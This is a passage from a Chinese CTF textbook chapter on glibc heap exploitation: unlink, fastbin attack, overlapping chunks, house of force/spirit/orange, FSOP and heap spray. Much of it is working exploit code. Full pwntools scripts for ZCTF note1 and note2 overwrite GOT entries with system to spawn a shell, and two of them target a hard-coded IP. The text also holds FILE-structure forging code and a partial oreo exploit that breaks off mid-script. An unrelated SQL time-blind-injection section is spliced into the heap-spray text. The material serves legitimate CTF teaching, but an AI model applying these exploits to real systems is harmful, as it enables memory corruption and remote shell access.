struct_B所定义的对象是输入的，所以可以将其类型输入成1，这样就可以在show_info函数中产生错误的类型识别。对比struct struct_A和struct struct_B，可以发现struct struct_A中的show_info_ptr函数指针正好落在struct struct_B的B_info成员数组里面。如果在B_info数组成员中布置好数据，就可以按照所布置的函数执行相应的功能，通过反汇编，进而发现target_func的地址为0x400716，如图13-7所示。 图13-7 函数地址 所以只需要在B_info中填入‘a’*0x20+‘\\x16\\x07\\x40\\x00\\x00\\x00\\x00\\x00’即可。 程序编译命令： gcc -o type_trans type_trans.c 输入命令： python -c \"print '0\\n'+'a'*0x20+'\\x16\\x07\\x40\\x00\\x00\\x00\\x00\\x00'\" | ./type_trans 结果如图13-8所示。可见已经执行了target_func函数。更多内容可参考相关真题解析。 图13-8 劫持控制流成功截图"},
    {"text": "未知 13.3.2 unlink 目前新式的unlink（也是现有系统所采用的方式）中加入了很多限制，其源码如下： #define unlink(P, BK, FD) { \\ FD = P->fd; \\ BK = P->bk; \\ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \\ malloc_printerr (check_action, \"corrupted double-linked list\", P); \\ else { \\ FD->bk = BK; \\ BK->fd = FD; \\ if (!in_smallbin_range (P->size) \\ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \\ assert (P->fd_nextsize->bk_nextsize == P); \\ assert (P->bk_nextsize->fd_nextsize == P); \\ if (FD->fd_nextsize == NULL) { \\ if (P->fd_nextsize == P) \\ FD->fd_nextsize = FD->bk_nextsize = FD; \\ else { \\ FD->fd_nextsize = P->fd_nextsize; \\ FD->bk_nextsize = P->bk_nextsize; \\ P->fd_nextsize->bk_nextsize = FD; \\ P->bk_nextsize->fd_nextsize = FD; \\ } \\ } else { \\ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \\ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \\ } \\ } \\ } \\ } 其中，最值得注意的是FD->bk!=p||BK->fd!=p，很多利用方式都难以满足这个条件，详情可以查询Advanced Heap Exploitation。目前较为有效的突破手段就是freenote（20150CTF的freenote题目）或stkof（HITCON CTF 2014的stkof题目）的方式。详细内容请参见 http://winesap.logdown.com/posts/258859-0ctf-2015-freenode-write-up 。 下面介绍freenote的主要利用思路。 freed chunk的双链表结构如下： FD = p->fd = *(&p + 2) BK = p->bk= *(&p + 3) 执行unlink（P,BK,FD）时，需要满足FD->bk==P&&BK->fd==P条件，即： FD->bk=*( *(&p + 2) + 3) =*(p[2]+3) == p BK->fd =*( *(&p + 3) + 2) =*(p[3]+2) == p => p[2] = &p - 3，p[3] = &p - 2 然而，存储p指针的位置并不只有freed chunk的前一块和后一块，如果存在一个全局变量G_p，其中存储的指针指向p的话，那么就可以通过设置p[2]=&p-3，p[3]=&p–2进行伪造，来满足指针的检查。 最终执行： FD->bk = BK; => p = *(&p+3) = p[3] = &p-2 BK->fd = FD; => p = *(&p+2) = p[2] = &p-3 使得： p = &p-3 最后，p指针能够指向全局变量G_p前面3个4字节（x86，如果是x64则为8字节）处。如果G_p是个管理结构，那么就可以实现任意地址读写了。 构造时，还需要满足free的基本要求。比如，前后chunk的大小，首先得满足free的条件，如图13-9所示。 图13-9 满足unlink条件的堆块 通常伪造的堆块，最终达到的效果如图13-10所示。 图13-10 unlink成功的效果 这样，就可以通过修改buff_ptr所指向的内容来修改buff_ptr的指针了。 这种情况需要满足的条件如下。 1）存在堆覆盖，可以改写到即将要释放的堆块，将其pre_size改成所构造的堆块大小，将size中的最后一位置为0，如图13-9中所示。 2）存在已知地址的指针（通常为全局变量）指向伪造的堆块头部（通常为buff_ptr处）。 3）能够释放后续堆块来触发unlink。 通常条件3比较容易满足，满足条件1需要存在漏洞，如缓冲区溢出、UAF等都能满足条件。对于条件2来说，存在全局变量是最好的情况，但是如果指向该处的指针存在堆中，也可以通过暴力的方法来实现，具体见后文所列举的实例。 关于伪造堆块部分，可以参考如下代码： #usefull code begin #node0 addr set node0_addr = global_offset bits = 32#64 if bits == 32: p_func = l32 #zio field_size = 4 else: p_func = l64 #zio field_size = 8 p0 = p_func(0x0) p1 = p_func(0x81) p2 = p_func(node0_addr - 3 * field_size) p3 = p_func(node0_addr - 2 * field_size) node1_pre_size = p_func(0x80) node1_size = p_func(0x80 + 2 * field_size) data0 = p0 + p1 + p2 + p3 + \"\".ljust(0x80 - 4 * field_size, '1') + node1_pre_size + node1_size #edit node 0, over write node 1 edit_note(io, 0, len(data0), data0) #delete node 1 unlink node 0 delete_note(io, 1) #usefull code end unlink利用方式具体如下。 条件： p[2] = &p - 3，p[3] = &p – 2 效果： p = &p-3 unlink利用实例可参考如下几项。 1）freenote（2015-0CTF-PWN-400）。 2）freenote x86：（XMAN夏令营练习题，见Javios网站）。 3）freenote x64：（XMAN夏令营练习题，见Javios网站）。 4）2017年强网杯note2。 具体请参见13.4.5节和13.4.6节。"},
    {"text": "未知 13.3.3 fastbin attack fastbin的利用方法主要是针对fastbin的使用和释放机制。通常对fastbin的间接利用比较多，方法也比较灵活，需要根据具体需求来设定，如利用fastbin更容易满足free的需求，防止程序崩溃。直接利用fastbin的方法主要是针对fastbin的单链表结构，更改其后续指针，控制fastbin在下次所要分配的堆块，如图13-11所示。 图13-11 fastbin attack的堆块示意图 在构造时，需要注意的是，fake fastbin中的size需要与改写指针的fastbin块大小一致，且fake fastbin的下一个chunk的size域中的最后一位为1。 针对这种方法来利用fastbin，需要满足以下条件。 1）存在uaf漏洞或者缓冲区溢出漏洞，能够改写已经释放的堆块的fd域，如图13-12所示的阴影部分fd。 2）对于目标地址target_addr处，需要对size域和后一块的size域的最后一位进行设置，如图13-12中的阴影部分size，很有可能这两个位置不可访问，但是通过某些条件可以访问。 满足上述条件，也就是满足图13-12中所示的阴影部分的要求即可。 利用方式具体如下。 ·条件：size符合fastbin chunk大小的条件，修改fd为目标地址，该地址处的size也符合条件。 ·效果：第二次分配时，目标内存被分配。 图13-12 满足fastbin attack条件的堆块 利用实例具体如下。 1）Oreo（2014-PCTF-PWN-400）。 2）Shaxian（2015-RCTF-PWN-400）。 具体示例可参考13.4.3节和13.4.4节。"},
    {"text": "未知 13.3.4 forgotten chunk forgotten chunk主要是指chunk的申请释放中被遗忘的部分，虽然堆块的申请和释放逻辑相对来说比较完善，但是检查还不是太完善。有关forgotten chunk的内容非常多，更为详细的内容可参考 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf ，这里将详细讨论forgotten chunk的构造技巧。 本节中仅介绍一些最基本且常用的方法，方便读者对这种方法有个比较客观的认识，至于更多技巧，则需要读者自己实践。 比较简单的情况是，从前往后释放，构造出残留堆块。这里列举一个简单的示例：如图13-13所示，其中存在堆缓冲区溢出（或者直接改写特定域即可），然后通过正常的申请释放，构造出重叠的堆块。 对于三块已使用的堆块（alloced chunk），在大小方面没有要求，其中，ptr0所指向的data0存在溢出，且能够覆盖到堆块1的size域（或者没有堆溢出，而是直接改写堆块1的size域也能达到同样的目的），如图13-13中阴影部分所示。在填入data0时，将堆块1的size域中的部分填写成size1+size2的值（该域中的NMP位保持不变，图13-13中所示的未知堆块部分可有可无，不会影响结果）。 图13-13 重叠堆块示意图 然后对堆块1进行释放（通过ptr1指针），这样是可以通过检查的，并且将堆块1和堆块2识别成一个堆块进行处理。因为检查时size域为size1+size2，且堆块是属于alloced chunk的，所以后续的pre_size域会被当成数据部分来处理，不起标识作用，使得检查能够正常通过。释放后，堆块如图13-14所示。 图13-14 释放后的堆块示意图 可以看到，释放后ptr2所指向的buff的堆块虽然还在使用，但是已经连同ptr1所指向的buff的堆块一起被释放了，另外堆块2前面的未知堆块部分也被夹在中间作为新堆块的一部分，所以此时如果申请大小合适的堆块，就能够与ptr2所在的区域及未知堆块部分发生重叠。 在此基础上，可以结合最基本的堆利用方法、unlink方法、fastbin利用方法来对堆块进行利用。 1）如果ptr2所指向的堆块或者其上的未知堆块部分存在指针变量，则采用最基本的堆利用方法，直接构造指针数据即可。 2）如果未知堆块中存在fastbin中的堆块，且其中想改写的目的地址符合fastbin利用的条件，则可以采用fastbin的利用方法。 3）直接申请新堆块，在其中构造unlink利用的条件，并且通过释放ptr2来进行释放操作，以触发unlink。 4）其他更多的利用方法可以自行试探。 测试示例（根据图13-14所示进行编码，未知堆块部分在此设为不存在）代码如下： #include <stdio.h> int main() { char *ptr[4]; int size0, size1, size2; size0 = size1 = size2 = 0x50; int i; for (i = 0; i < 4; i++) { ptr[i] = malloc(0x40); printf(\" ptr[%d] = %p\\n\", i, ptr[i]); } int NMP = *(long long *)(ptr[0]+0x48) & 0x7; //modify chunk2's size area *(long long *)(ptr[0]+0x48) = (size1 + size2) | NMP; free(ptr[1]); char *new_ptr; new_ptr = malloc(0x40+0x50); printf(\"-------------------------------\\n\"); for (i = 0; i < 4; i++) { printf(\" ptr[%d] = %p\\n\", i, ptr[i]); } printf(\"new_ptr = %p\\n\", new_ptr); } 测试结果如图13-15所示。 图13-15 测试结果 由图13-15所示可以看到，申请的new_ptr和ptr[2]相同，然而new_ptr申请的大小为0x40+0x50，刚好为ptr[1]数据块大小和ptr[2]所指向的堆块的大小之和，由此可见，此时堆块已经进行了合并，而且ptr[2]为残留堆块，虽然没有释放，但是与new_ptr发生了重叠。 gdb中的调试过程如下。 在free函数调用处下断点，如图13-16所示。 free调用后，查看内存，如图13-17所示。 可以看到，堆块2和新堆块发生了重叠。new_ptr新申请的堆块就是该新堆块，在此不再展示。 更多复杂的forgotten chunk的情况可以参考前面给出的资料，其中对大部分情况进行了详细描述，这对于提高利用技巧大有裨益，读者可以自行参考，在此不再赘述。 这里主要介绍常用的利用方式，具体如下。 1）堆扩展（extend chunk），分为往后扩展和往前合并，具体如下。 a）往后扩展： ·条件：增大chunk的size（或者仅修改P位），使其大小覆盖到后续chunk，满足后续chunk不合并（伪造后续chunk的size）或者能够正常unlink（处于释放状态） ·效果：可实现后续相邻堆块重叠，便于后续利用。 图13-16 free之前堆块布局 图13-17 free之后堆块布局 b）往前合并： ·条件：将chunk的P位清0，同时修改pre_ssize，使其大小刚好能够包含前一个处于free状态的chunk（或者伪造的chunk），并且释放时能够正常前向unlink（处于释放状态）。 ·效果：可实现前面相邻堆块重叠，便于后续利用。 2）堆收缩（shrink chunk）： ·条件：可修改本chunk的size，一般用于制造特定大小的chunk或者满足合适的条件。 ·效果：配合其他利用方式进行。 利用实例可参考如下题目。 1）Oreo（2014-PCTF-PWN-400）。 2）Shaxian（2015-RCTF-PWN-400）。"},
    {"text": "未知 13.3.5 house of force 这种利用方法主要是指堆块溢出覆盖top chunk中size域的情况，通过将其改写成一个非常大的数据，从而可以申请非常大的空间，使得新top chunk的头部落到想要修改的位置。在下次申请时，就能够得到目标内存，从而实现泄露和改写。 在执行malloc的时候，一般是直接根据申请的空间大小与top chunk的大小进行比较，由于都是无符号整数，所以会将top chunk的值改得特别大（如0xffffff**等），从而保证绝大多数在申请时都能被满足。 house of force利用示意如图13-18所示。 图13-18 house of force利用示意图 通常情况下，为了简便，利用步骤一般如下。 1）首先应该泄露出堆地址。 2）利用堆溢出，将top chunk的size域修改为很大的整数。 3）申请大块内存（内存大小可通过堆地址与目标地址的距离来计算），使得top chunk的头部落在目标地址范围之内。 4）再次申请内存，那么新申请的内存即为目标地址，通常情况下（未开启FullRelro），一般是将目标地址设为got表中的地址，其他情况则需要根据实际问题具体分析。 利用方式具体如下。 ·条件：修改top chunk的size，使其大小能够包含libc，然后申请一个大堆块，使得top chunk落到libc中，从而达到修改libc中数据（如malloc_hook或者free_hook等）的目的。 ·效果：修改libc数据。 这种情况比较简单，利用起来也相对方便，具体可参见如下赛题。 1）Ruin（2015-BCTF-PWN-200）。 2）Tinypad（2015-SECCON-PWN-300）。 延伸版的house of force可参见Noend（2018 suctf）。 未知 13.3.6 house of spirit 这种利用方法主要是指在堆上构造fastbin结构，然后改写前一堆块的后续指针，将下一次申请的位置改到栈上，从而进行利用，如图13-19所示。 图13-19 house of spirit利用示意图 通常，在栈上布置的堆块需要满足fastbin的条件，如图13-19中栈空间的阴影部分，包括size域中的大小必须与fastbin的大小保持一致，另外，其后续块的size域中的p标志位必须为1、其实这两点很容易就能满足，但是需要泄露栈地址。 具体见真题解析： https://gbmaster.wordpress.com/2015/07/21/x86-exploitation-101-house-of-spirit-friendly-stack-overflow/ 。 利用方式具体如下。 1）条件：满足fastbin attack的条件即可。 2）效果：修改栈数据，可以配合使用rop等利用方法。"},
    {"text": "未知 13.3.7 house of orange house of orange的名字来源于2016年hitcon CTF中的题目house of orange，该题的官方解法由4ngelboy给出，其使用Unsorted bin Attack修改IO_list_all来获取shell。"},
    {"text": "1.Unsorted bin Attack Unsorted bin Attack主要是针对unsorted bin实现的利用方法，在glibc中分配unsorted bin的chunk的时候，有如下一段代码： /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); 分配时，将chunk从unsorted bin链表中移除，移除时对bck的fd进行赋值，这里没有做fd和bk的检查，所以如果能够控制bk，则将其指向目标地址，这样可以实现改写任意地址。 需要注意的是： 1）当修改的unsorted bin chunk大小刚好等于申请的chunk大小时，能够正常申请成功，可实现任意地址写。 2）当修改的unsorted bin chunk大小不等于申请的chunk大小时，能够实现任意地址写，此时会触发malloc error，如果直接改写IO_list_all并布置好数据，就能够直接获取shell。"},
    {"text": "条件： *bk = (target_addr – 0x10) 效果： *target_addr = （0x60 small chunk header） 2.FSOP FSOP（File Stream Oriented Programming）主要是对_IO_FILE结构体链表进行的利用，其中_IO_FILE的结构体代码如下： struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _blksize; _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_plus { _IO_FILE file; // 就是一个libio.h中的_IO_FILE 结构体 const struct _IO_jump_t *vtable; // 多出一个vtable }; IO_list_all链表如图13-20所示。 图13-20 IO_list_all链表 针对FSOP的利用，主要是因为堆破坏时，libc会通过调用_libc_message函数打印错误信息，最终调用_IO_flush_all_lockp刷新_IO_list_all（文件链表头部）链表中的文件流，即调用其中的_IO_overflow函数。"},
    {"text": "读者可参阅文章（ https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/ ）了解文件结构体的利用方法，其中提供了如下pack方式： # A handy function to craft FILE structures def pack_file(_flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0, _IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0, _IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _IO_marker = 0, _IO_chain = 0, _fileno = 0, _lock = 0): struct = p32(_flags) + \\ p32(0) + \\ p64(_IO_read_ptr) + \\ p64(_IO_read_end) + \\ p64(_IO_read_base) + \\ p64(_IO_write_base) + \\ p64(_IO_write_ptr) + \\ p64(_IO_write_end) + \\ p64(_IO_buf_base) + \\ p64(_IO_buf_end) + \\ p64(_IO_save_base) + \\ p64(_IO_backup_base) + \\ p64(_IO_save_end) + \\ p64(_IO_marker) + \\ p64(_IO_chain) + \\ p32(_fileno) struct = struct.ljust(0x88, \"\\x00\") struct += p64(_lock) struct = struct.ljust(0xd8, \"\\x00\") return struct fake_vtable_addr = io_str_overflow_ptr_addr - 2*8 图13-21 libc中函数的反编译结构 利用时，在内存中进行如下布局即可： # Craft file struct file_struct = pack_file() # vtable pointer file_struct += p64(fake_vtable_addr) 在fake_vtable_addr+0x18地址处布置好system或者one_gadget地址，其中，system参数放置在pack_file的第一个参数中，一般可取值为p64（u64（\"sh;sh;\\x00\\x00\"）|0x8000）。 需要注意的是，在glibc 2.24版本之后，文件结构的虚表受到了限制，可以借助IO_str_jumps进行转换，pack的代码如下： io_str_overflow_ptr_addr = libc + offset_ io_str_overflow fake_vtable_addr = io_str_overflow_ptr_addr - 0x38 rip = system_addr rdi = binsh_addr file_struct = pack_file( _IO_buf_base = 0, _IO_buf_end = (rdi-100)/2, _IO_write_ptr = (rdi-100)/2, _IO_write_base = 0, _lock = heap + 0x2d0 + 0x80) file_struct += p64(fake_vtable_addr) file_struct += p64(rip) file_struct = file_struct.ljust(0x100, '\\x00') 需要特别注意的是，在glibc 2.28版本之后，文件结构的虚表受到了更严格的限制，像之前的IO_str_jumps等可以利用的虚表函数无法再利用，需要寻找其他的利用方法（已被证明是可以利用的）。"},
    {"text": "此外，缓冲区以及fileno的利用因为进程中包含了系统默认的三个文件流stdin、stdout、stderr，因此这种方式可以不需要在进程中存在文件操作，通过scanf、printf一样可以进行利用。"},
    {"text": "在glibc中，open、write、read、close等函数针对的是IO_FILE句柄，而printf、scanf、fopen、fread、fwrite、fclose等函数针对的是_IO_FILE_plus句柄，其中_IO_FILE_plus是_IO_FILE的扩展，在其基础上增加了一组跳转表，所以两者的基本结构是很相似的。"},
    {"text": "在此基础上，针对文件指针的攻击可参考AngelBoy的《Play with FILE Structure-Yet Another Binary Exploit Technique》（ https://www.slideshare.net/AngelBoy1/play-with-file-structure-yet-another-binary-exploit-technique ），其中介绍了如何利用文件结构体的内存指针实现任意地址泄露和改写，读者可以自行扩展（利用虚表函数还可以实现控制流的劫持）。"},
    {"text": "对于FSOP的利用，除了house of orange，还可以直接对FILE结构体进行利用，为了加深理解，下面介绍通过fwrite和fread实现任意地址读写。 1）fwrite实现任意地址读写。 a）对于任意地址读，通过_IO_new_file_write，我们可以构造f->_fileno=1使之成为stdout，同时还需要满足一定的条件，进而可以通过write将数据打印出来。 具体代码如下： _IO_ssize_t _IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n) { _IO_ssize_t to_do = n; while (to_do > 0) { _IO_ssize_t count = (__builtin_expect (f->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __write_nocancel (f->_fileno, data, to_do) : __write (f->_fileno, data, to_do)); // 将数据data写入了f->_fileno中 if (count < 0) { f->_flags |= _IO_ERR_SEEN; break; } to_do -= count; data = (void *) ((char *) data + count); } n -= to_do; if (f->_offset >= 0) f->_offset += n; return n; } 构造条件具体如下。"},
    {"text": "b）对于固定地址任意地址写，_IO_new_file_xsputn会将data中的数据写入f->_IO_write_ptr，示例代码如下： else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } 利用条件如下：write_end-write_ptr为要写入的数据长度。"},
    {"text": "对于任意地址写_IO_file_read，我们可以构造fp->_fileno=0即stdin，从而将输入的值写入buf。 示例代码如下： _IO_ssize_t _IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size) { return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0) ? __read_nocancel (fp->_fileno, buf, size) : __read (fp->_fileno, buf, size)); } 利用条件具体如下。 ·_flag&=~_IO_NO_READS ·read_ptr&read_end为NULL。 ·buf_base为目标地址，buf_end为buf_base+[读入数据长度+1]。"},
    {"text": "修改_IO_read_base和_IO_read_end，或者修改_IO_write_base和_IO_write_end时，会分别往前修改base或者往后修改end，使其缓冲区间包含libc或者其他内容，可以以脏数据的形式进行信息的泄露，具体真题可参考：HITCON 2018 babytache。"},
    {"text": "未知 13.3.8 堆喷射 堆喷射（Heap Spray）主要是指，在堆块中布置好大量重复性的数据，便于目的地址索引到堆上的数据。堆喷射相对于栈喷射来说较为麻烦，CTF赛题中很少出现堆喷射型题目，真实漏洞中利用较多，在此仅做简单介绍。 通常，简单的堆喷射可以类比于栈喷射，只是在CTF题中，堆喷射中有专门针对随机申请隔离堆的保护机制。堆喷射可使随机申请的堆大小与所使用的堆大小相同，如果存在UAF漏洞，则能够产生利用。 堆喷射实例请参考game（2017-hctf-final），在反序列化漏洞利用时，需要通过堆喷射来实现利用的稳定性。 堆喷射相关的CTF赛题出现概率较小，在pwnable.kr网站上有一道关于lokihard对浏览器利用的题，对于理解堆喷射有较大的帮助，读者可以自行练习扩展。 未知 2.5 时间盲注 时间盲注出现的本质原因也是由于服务器端拼接了SQL语句，但是正确和错误存在同样的回显。错误信息被过滤，不过，可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的，因此在CTF比赛中关于时间盲注的题目比较少，原因在于sleep函数或者benchmark函数的过多执行会让服务器负载过高，再加上CTF里面的一些“搅屎棍”的参与，会让题目挂掉。不过，有时候我们还是会在CTF中遇到这些题目，这里简单说一下注入的方法。 时间盲注类似于Bool盲注，只不过是在验证阶段有所不同。Bool盲注是根据页面回显的不同来判断的，而时间盲注是根据页面响应时间来判断结果的。一般来说，延迟的时间可以根据客户端与服务器端之间响应的时间来进行选择，选择一个合适的时间即可。一般来说，时间盲注常用的函数有sleep()和benchmark()两个，具体说明如表2-4所示。 表2-4 可用来延时的函数 未知 13.3.9 更多堆利用技巧 这里主要介绍下堆地址碰撞。对于x86程序来说，堆地址空间通常是有限的，虽然提供的长度有32位，但是一般来说，堆会按页对齐，所以后12位是不变的。另外，堆的大致空间范围也有限，所以通常只有十几位在变。在本地，如果无法泄露出堆地址，则可以将通过调试时得到的堆地址视为已知的堆地址来进行利用，然后通过多次循环进行碰撞，如果程序交互时间较短的话，那么这种碰撞方法将会很有效。 其他技巧可以具体参考： https://github.com/shellphish/how2heap 。"},
    {"text": "未知 13.4 真题解析 1.{ZCTF-2015}note1(PWN200) 这道题比较简单，是一个菜单式的交互程序，分析程序的结构体，可以得到图13-22所示的结构体。"},
    {"text": "图13-22 note1结构体 由图13-22所示可以得知见，content的长度为256字节，而在edit的时候，能够读入512字节，从而发生缓冲区覆盖，如图13-23所示。"},
    {"text": "图13-23 note1缓冲区溢出关键点代码 结构体中有指针，泄露和利用都比较容易，利用代码如下： from zio import * from pwn import * #target = \"./note1\" target = (\"115.28.27.103\", 9001) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def new_note(io, title_t, type_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"1\") io.read_until(\"title:\\n\") io.writeline(title_t) io.read_until(\"type:\\n\") io.writeline(type_t) io.read_until(\"content:\\n\") io.writeline(content_t) def show_note(io): io.read_until(\"option--->>\\n\") io.writeline(\"2\") def edit_note(io, title_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"3\") io.read_until(\"title:\\n\") io.writeline(title_t) io.read_until(\"content:\\n\") io.writeline(content_t) def pwn(io): new_note(io, 'aaa', 'aaa', 'aaa') new_note(io, 'bbb', 'bbb', 'bbb') new_note(io, 'ccc', 'ccc', 'ccc') show_note(io) atoi_got = 0x0000000000602068 - 0x80 content= 'a' * 256 + l64(0x01) + l64(0x01) + l64(0x01) + l64(atoi_got) + \"bbb\" io.gdb_hint() edit_note(io, 'aaa', content) show_note(io) io.read_until(\"title=, type=, content=\") data = io.read_until(\"\\n\")[:-1] print [c for c in data] data = data.ljust(8, '\\x00') malloc_addr = l64(data) print \"malloc_addr:\", hex(malloc_addr) elf_info = ELF(\"./libc-2.19.so\") malloc_offset = elf_info.symbols[\"malloc\"] system_offset = elf_info.symbols[\"system\"] libc_base = malloc_addr - malloc_offset system_addr = libc_base + system_offset content = \"a\" * 16 + l64(system_addr) print \"system_addr:\", hex(system_addr) edit_note(io, \"\", content) io.read_until(\"option--->>\\n\") io.writeline(\"/bin/sh\") io.interact() io = get_io(target) pwn(io) 2.{ZCTF-2015}note2(PWN400) 这道题也是菜单式的，主要问题在于执行edit的时候，append可以越界，如图13-24所示。 图13-24 note2堆溢出溢出点关键代码 如果size开始为0，那么size–strlen（dest）+14≤14了，所以最后执行strncat的时候，可以无限附加并覆盖下一个堆块，由于每个堆块的大小都可以自己设置，所以这里采用fastbin（堆块大小为0x20~0x80）的方式。"},
    {"text": "由于可以覆盖后面的堆块，所以可以在name中伪装为假堆块，然后对其进行释放，这样再次申请的时候，就可以得到该地址，从而改写全局指针，如图13-25所示。"},
    {"text": "图13-25 note2全局变量指针 最终利用代码如下： from zio import * from pwn import * #ip = 1.192.225.129 #target = \"./note2\" target = (\"115.28.27.103\", 9002) def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) return io def new_note(io, length_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"1\") io.read_until(\"content:(less than 128)\\n\") io.writeline(str(length_t)) io.read_until(\"content:\\n\") io.writeline(content_t) def show_note(io, id_t): io.read_until(\"option--->>\\n\") io.writeline(\"2\") io.read_until(\"id of the note:\\n\") io.writeline(str(id_t)) def delete_note(io, id_t): io.read_until(\"option--->>\\n\") io.writeline(\"2\") io.read_until(\"id of the note:\\n\") io.writeline(str(id_t)) def edit_note(io, id_t, type_t, content_t): io.read_until(\"option--->>\\n\") io.writeline(\"3\") io.read_until(\"id of the note:\\n\") io.writeline(str(id_t)) io.read_until(\"[1.overwrite/2.append]\\n\") io.writeline(str(type_t)) io.read_until(\"Contents:\") io.writeline(content_t) def pwn(io): name_addr = 0x6020E0 address_addr = 0x602180 address = 'aaa' name = l64(0x20) + l64(0x21) name = name.ljust(0x20, 'a') name += l64(0x20) + l64(0x21) name += l64(0x0) io.read_until(\"Input your name:\\n\") io.writeline(name) io.read_until(\"Input your address:\\n\") io.writeline(address) new_note(io, 0, '') new_note(io, 0x80, '') atoi_got = 0x0000000000602088 manage_addr = 0x602120 payload = 'a' * 0x10 for i in range(7): edit_note(io, 0, 2, payload) payload = 'a' * 0xf edit_note(io, 0, 2, payload) payload = 'a' + l64(name_addr + 0x10) edit_note(io, 0, 2, payload) io.gdb_hint() new_note(io, 0, '') payload = 'a' * 0x10 for i in range(2): edit_note(io, 2, 2, payload) payload = 'a' * 0xf edit_note(io, 2, 2, payload) payload = 'a' + l64(atoi_got) edit_note(io, 2, 2, payload) show_note(io, 0) io.read_until('Content is ') data = io.read_until(\"\\n\")[:-1] print [c for c in data] data = data.ljust(8, '\\x00') aoti_addr = l64(data) print \"aoti_addr:\", hex(aoti_addr) elf_info = ELF(\"./libc-2.19.so\") #elf_info = ELF(\"./libc.so.6\") atoi_offset = elf_info.symbols[\"atoi\"] system_offset = elf_info.symbols[\"system\"] libc_base = aoti_addr - atoi_offset system_addr = libc_base + system_offset content = l64(system_addr) print \"system_addr:\", hex(system_addr) edit_note(io, 0, 1, content) io.read_until(\"option--->>\\n\") io.writeline(\"/bin/sh\") io.interact() io = get_io(target) pwn(io) 3.{hack.lu-2014}oreo(PWN400) （1）题目说明 这道题的逻辑还是比较简单的，简单来说其就是一个订单系统，不过所订的东西是rifle，从操作方式来看，这就是最基本的菜单题，完成的是添加购物单和提交购物单的需求。"},
    {"text": "根据杨坤博士的PPT——《掘金CTF》来进行理解，申请56字节的堆空间，加上pre_size和size刚好是64字节，属于fastbin，是一个单链表结构，如图13-28所示。"},
    {"text": "根据上述要求，直接覆盖got表不太现实，因为size域要设置成0x41比较难实现，所以考虑提供一个留言的功能，其中留言的指针和buff都是全局变量，同时并设置message=&message_buff[128]。"},
    {"text": "这里通过布置好name中的数据，用scanf got处的值覆盖next指针的内容，构成下一个订单node，而且这里scanf got的next指针处的值是全零的，刚好能够作为链表结束的标志。"},
    {"text": "先申请0x41-count_left个订单（malloc），然后提交（释放），制造好连续的fast bin，并且使message前面的size域先做好准备（后面还要申请几个节点，所以这里要减掉count_left）。"},
    {"text": "然后申请一个节点，利用name溢出，将next设置为0x0，同时布置好连续的后续堆块，因为后面申请的就是与该节点连着的堆块了，将后面堆块的fd域设置为message指针-0x8字节的位置，这时候message指针的位置刚好是rifle结构体的name域。"},
    {"text": "第四次申请节点时，malloc分配出来的值就是message-0x8，此时message指针就是name域，将name设置为scanf got的值。 留言，就是写入message指针中的地址，前面已经将这个指针改为scanf got，所以这里直接发送system real addr就可以将scanf覆盖成system了。 最后发送/bin/sh;\\n，会调用scanf进行转换，相当于调用了system（\"/bin/sh;\\n\"），最终拿到shell。"},
    {"text": "具体代码如下： from zio import * from pwn import * target = \"./oreo\" elf_path = \"./oreo\" def get_io(target): r_m = COLORED(RAW, \"green\") w_m = COLORED(RAW, \"blue\") io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) #io = process(target, timeout = 9999, shell = True) return io def get_elf_info(elf_path): return ELF(elf_path) def add_new_rifle(io, name, description): #print io.read_until(banner) io.write(\"1\\n\") #io.read_until(\"Rifle name: \") io.write(name + \"\\n\") #io.read_until(\"Rifle description: \") io.write(description + \"\\n\") def show_rifle(io): #print io.read_until(banner) io.write(\"2\\n\") def order_rifle(io): #io.read_until(banner) io.write(\"3\\n\") def leave_message(io, message): #io.read_until(banner) io.write(\"4\\n\") #io.read_until(\"Enter any notice 